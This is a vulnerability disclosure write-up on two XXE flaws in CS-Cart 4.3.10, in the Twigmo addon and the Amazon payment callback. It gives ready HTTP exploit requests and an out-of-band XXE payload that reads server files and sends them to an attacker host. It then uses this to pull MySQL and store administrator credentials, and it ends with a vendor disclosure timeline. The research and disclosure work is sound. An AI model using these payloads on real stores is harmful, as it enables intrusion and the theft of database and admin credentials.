CS-Cart <= 4.3.10 , XXE/LFD
November 10, 2016
Intro
CS-Cart is an impressive platform for users to any level of eCommerce experience.With loads of features at a great price CS-Cart is a great shopping cart solution that will quickly enable your online store to do business. CS-Cart support addons , some come installed / enabled by default installation , some are not.
During my research on cs-cart 4.3.10 I found 2 XXE flaws which can be exploited by various means as will be explained in this post.
The flaws affecting the stores with twigmo
addon activated as well as those who are using amazon payment
in their payment options
so as usual let’s go for the static analysis details then for the exploitation later
XXE I : Twigmo
the 1st flaw rise from the twimgo addon , Twigmo is a set of tools to make a store mobile-friendly for customers and merchants , When enabled in CS-Cart store it’s automatically activated when user visit the store using mobile phone Twimgo is enabled on too many stores in order to giving them more ability to support mobile phone platforms
Vulnerability
The vulnerability rises from file : app/addons/twigmo/Twigmo/Api/ApiData.php
130 public static function parseDocument($data, $format = TWG_DEFAULT_DATA_FORMAT)
131 {
132 if ($format == 'xml') {
133 $result = @simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA);
134 return self::getObjectAsArray($result);
135 } elseif ($format == 'jsonp') {
136 return (array) json_decode($data, true);
137 } elseif ($format == 'json') {
138 return (array) json_decode($data, true);
139 }
140
141 return false;
142 }
function simplexml_load_string at line 133 allow parsing xml requests forwarded to twigmo addon The function is called at file : app/addons/twigmo/func.php
2429function fn_twg_get_api_data($response, $format, $required = true)
2430{
2431 $data = array();
2432 if (!empty($_REQUEST['data'])) {
2433 $data = ApiData::parseDocument(base64_decode(rawurldecode($_REQUEST['data'])), $format);
2434 } elseif ($required) {
2435 $response->addError('ERROR_WRONG_DATA', __('twgadmin_wrong_api_data'));
2436 $response->returnResponse();
2437 }
2438
2439 return $data;
2440}
Function fn_twg_get_api_data is called when proceeding various actions to the main twimgo frontend file app/addons/twigmo/controllers/frontend/twigmo.php
49if (($_SERVER['REQUEST_METHOD'] == 'POST' || $is_cache_request) && $mode == 'post') {
50
51 if ($meta['action'] == 'login') {
52
53 $login = !empty($_REQUEST['login']) ? $_REQUEST['login'] : '';
54 $password = !empty($_REQUEST['password']) ? $_REQUEST['password'] : '';
55
56 if (!$user_data = fn_twg_api_customer_login($login, $password)) {
57 $response->addError(
58 'ERROR_CUSTOMER_LOGIN_FAIL',
59 __('error_incorrect_login')
60 );
61 }
62
63 $profile = fn_twg_get_user_info($user_data['user_id']);
64 if (fn_allowed_for('MULTIVENDOR')) {
65 $profile['company_data'] = !empty($_SESSION['auth']['company_id'])? fn_get_company_data($_SESSION['auth']['company_id']): array();
66 } else {
67 $profile['company_data'] = array();
68 }
69 $_profile = array_merge(
70 $profile,
71 array('cart' => fn_twg_api_get_session_cart($_SESSION['cart'], $lang_code))
72 );
73
74 $response->setData($_profile);
75
76 } elseif ($meta['action'] == 'add_to_cart') {
77
78 // add to cart
79 $data = fn_twg_get_api_data($response, $format);
80
81 Registry::set('runtime.controller', 'checkout', true);
82 $ids = fn_twg_api_add_product_to_cart(array($data), $_SESSION['cart']);
83 Registry::set('runtime.controller', 'twigmo');
84
85 $result = fn_twg_api_get_session_cart($_SESSION['cart'], $lang_code);
86 $response->setData($result);
87 if (!empty($ids)) {
88 $ids = array_keys($ids);
89 }
90 $response->setMeta(!empty($ids) ? array_pop($ids) : 0, 'added_id');
That’s where we have access over the “data” value , action value , only format remained which need to be set into xml (If not specified to XML , twimgo deal with data as json and wont reach our vulnerable line) , so checking up the same file
15if (!defined('BOOTSTRAP')) {
16 die('Access denied');
17}
18
19use Twigmo\Api\ApiData;
20use Twigmo\Core\Api;
21use Twigmo\Core\Functions\Order\TwigmoOrder;
22use Tygh\Registry;
23use Tygh\Mailer;
24use Twigmo\Core\TwigmoConnector;
25
26$format = !empty($_REQUEST['format']) ? $_REQUEST['format'] : TWG_DEFAULT_DATA_FORMAT;
27
28$api_version = !empty($_REQUEST['api_version']) ? $_REQUEST['api_version'] : TWG_DEFAULT_API_VERSION;
29
30$response = new ApiData($api_version, $format);
Exploitation
Detecting if Twimgo is enabled or not is relatively easy , just by sending POST request to STORE/index.php?dispatch=twigmo.post Data : action=add_to_cart Will result in response like
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json; charset=utf-8
Content-Length: 260
Set-Cookie: sid_customer_2021e=1f5d6e728e6ef52054d2e09d7e27dc79-1-C; expires=Thu, 24-Nov-2016 13:56:47 GMT; Max-Age=1209600; path=/5820af957c1fd; domain=.store.xxxx.com; HttpOnly
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Language: ru
Connection: close
{"meta":{"version":"2.0","action":"add_to_cart","notifications":[],"access_id":"3G829S","twigmo_version":"3.10","cart_version":"4.3.10","cart_edition":"ULTIMATE","page_url":"","status":"ERROR","errors":[{"code":"ERROR_WRONG_DATA","message":"Wrong API data"}]}}
Which indicate that the addon is enable , other wise will get a “website under maintenance” message
Now putting it all together , we just need to call the twimgo addon via requesting “index.php?dispatch=twigmo.post” submitting our base64(rawencoded xml payload) in the data field Last request will look like
POST /lab/cscart_v4.3.10/index.php?dispatch=twigmo.post HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/lab/cscart_v4.3.10/?action=add_to_cart&data=foooooooo
Content-Length: 277
Connection: close
X-dotNet-Beautifier: 10; DO-NOT-REMOVE
action=add_to_cart&data=CjwhRE9DVFlQRSB0ZXN0aW5neHhlIFs8IUVOVElUWSB4eGUgU1lTVEVNICdodHRwOi8vXXXXXXXXXXXXXXXXUvMHg0MTQ4LmpuaycgPl0%2BCjxkb2N1bWVudD4KIDxBdXRob3I%2BQWhtZWQgc3VsdGFuICgweDQxNDgpPC9BdXRob3I%2BCiA8a2lsbGl0PiZ4eGU7PC9raWxsaXQ%2BCjwvZG9jdW1lbnQ%2BCg%3D%3D&format=xml
where data value is exactly the out put from
<?php
$xml="
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM 'http://YOUR_HOST/0x4148.jnk' >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>&xxe;</killit>
</document>
";
echo rawurlencode(base64_encode($xml));
?>
Result is
Great , successful HTTP request to our web server mean that I just got the exploitation worked as expected So let’s proceed to the next XXE flaw before going on further exploitation
XXE II : Amazon payment module
Not a lot to mention , as obvious from name , this module is activated in stores accepting amazon payment method so let’s get to our point directly
Vulnerability
File : app/payments/amazon/amazon_callback.php
15use Tygh\Registry;
16
17if (!defined('BOOTSTRAP')) { die('Access denied'); }
18
19include_once (Registry::get('config.dir.payments') . 'amazon/amazon_func.php');
20
21fn_define('AMAZON_ORDER_DATA', 'Z');
22
23if (!empty($_POST['order-calculations-request'])) {
24 $xml_response = $_POST['order-calculations-request'];
25
26} elseif (!empty($_POST['NotificationData'])) {
27 $xml_response = $_POST['NotificationData'];
28}
29
30if (!empty($_POST['order-calculations-error'])) {
31 // Process the Amazon callback error
32 $xml_error = $_POST['order-calculations-error'];
33 $xml = @simplexml_load_string($xml_error);
34 if (empty($xml)) {
35 $xml = @simplexml_load_string(stripslashes($xml_error));
36 }
37
38 // Get error message
39 $code = (string) $xml->OrderCalculationsErrorCode;
40 $message = (string) $xml->OrderCalculationsErrorMessage;
15use Tygh\Registry;
16
17if (!defined('BOOTSTRAP')) {
18 define('FORCE_SESSION_START', true);
19 require './init_payment.php';
20 include(Registry::get('config.dir.payments') . 'amazon/amazon_callback.php');
21 exit;
22}
BOOTSTRAP isn’t defined here as well , but init_payment.php is called
15define('AREA', 'C');
16require dirname(__FILE__) . '/../../init.php';
17
18$backtrace = debug_backtrace();
19$processor = fn_basename(fn_unified_path($backtrace[0]['file']), '.php');
20
21if (!fn_check_prosessor_status($processor)) {
22 die('Access denied');
23}
calling the main initiation file in which the BOOTSTRAP is identified , checking if payment method allowed , exit if not so while amazon is allowed we wont worry about this , we will just submit our payload to amazon_checkout.php and It will proceed it to amazon_callback.php and that’s it
Exploitation
setting POST parameter order-calculations-request to
<?xml version='1.0'?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://host/amazon.jnk" >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>%26xxe%3b</killit>
</document>
Result is Excellent , now let’s proceed to escalating this xxe for further exploitation
Escalating XXE
Using OOB technique I was able to read local vulnerable machine’s files and forward it to my host doing this is relatively easy , Just creating an xml file on my host (0x4148.xml here) which contain
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://HOST:8080/?%payload;'> ">
Replace the win.ini path to whatever file you want to read (using absolute path for sure) starting local nc listener on the host on port 8080 sending the following xml request to cs-cart (after encoding it of course)
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x4148 [
<!ENTITY % remote SYSTEM "http://host/cscart/0x4148.xml">
%remote;
%root;
%oob;]>
where http://host/cscart/0x4148.xml is the full path where 0x4148.xml file was created on my remote host Full request will be just as
POST /lab/cscart_v4.3.10/app/payments/amazon_checkout.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 226
X-dotNet-Beautifier: 0; DO-NOT-REMOVE
order-calculations-request=<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x4148 [
<!ENTITY % remote SYSTEM "http://HOST/cscart/0x4148.xml">
%remote;
%root;
%oob;]>
and result will be just like we got the content of c:\windows\win.ini encoded as base64 let’s proceed further to read the application config file which will help us to take the exploitation higher
Local path disclosure flaw / more exploitation
From here we are almost done , reading any file from the vulnerable machine gicing us a lot of possibilities We can get the app current installation path via accessing “upgrades/source_restore.php” Accessing this file directly from browser will result in error output including the current path due to
15namespace Restore;
16
17error_reporting(E_ALL);
18ini_set('display_errors', 'on');
19@set_time_limit(0);
20
21$uc_settings = '%UC_SETTINGS%';
22$config = '%CONFIG%';
23$backup_filename = '%BACKUP_FILENAME%';
24$uak = '%RESTORE_KEY%';
25$stats_data = '%STATS_DATA%';
26$restore_data = '%RESTORE_DATA%';
27
28define('DIR_ROOT', $config['dir']['root']);
Warning: Illegal string offset 'dir' in C:\xampp\htdocs\lab\cscart_v4.3.10\upgrades\source_restore.php on line 28
Knowing the path and that server running xampp , it’s easy to obtain mysql credentials by reading the mysql.user table which located at C:/xampp/mysql/data/mysql/user.MYD
The file contain mysql root password
Gaining administrator access over cs-cart
If you do not have privileges to gain access to the mysql.user file for reason or another Reading cs-cart config file will give you DB_name , Table prefix , and the administrator panel path
$config['db_name'] = 'csc';
$config['table_prefix'] = 'cscart_';
$config['admin_index'] = 'admin.php';
Which just what you need to proceed and get cs-cart user’s table content which will be at C:\xampp\mysql\data\csc\cscart_users.MYD The red marked stuff were obtained previously , so passing this path to our xml file located on our host and resending the payload will result in user’s table encoded to base64 which contain administrator’s password , that’s how easy it is
XXE to RCE??
By using the expect wrapper instead of file:// you can execute system commands on the vulnerable machine You will need php expect extension to be installed for sure in order to do soUnfortunately I had no time to configure new host with the extension installed , so go google it and find
Limitations and conclusion
Exploit was tested on windows machine with php version up to 5.4.4 On *nx machines It worked successfully with php < 5.2.17 and failed to work with 5.4.6 You will need twigmo addon or amazon payment method enabled in order to proceed with the exploitation Local path disclosure is really not that shitty , as you see It save a lot of time that could be wasted finding app or HTTP server’s path
Disclosure time line
- 10-11 vulnerabilities reported to the vendor
- 11-11 Vendor asked for extra details
- 12-11 Vendor acknowledged the validity of vulnerabilities and asked for time to fix
- 16-11 vendor permitted public release
Nothing more today actually , so till next time, Ahmed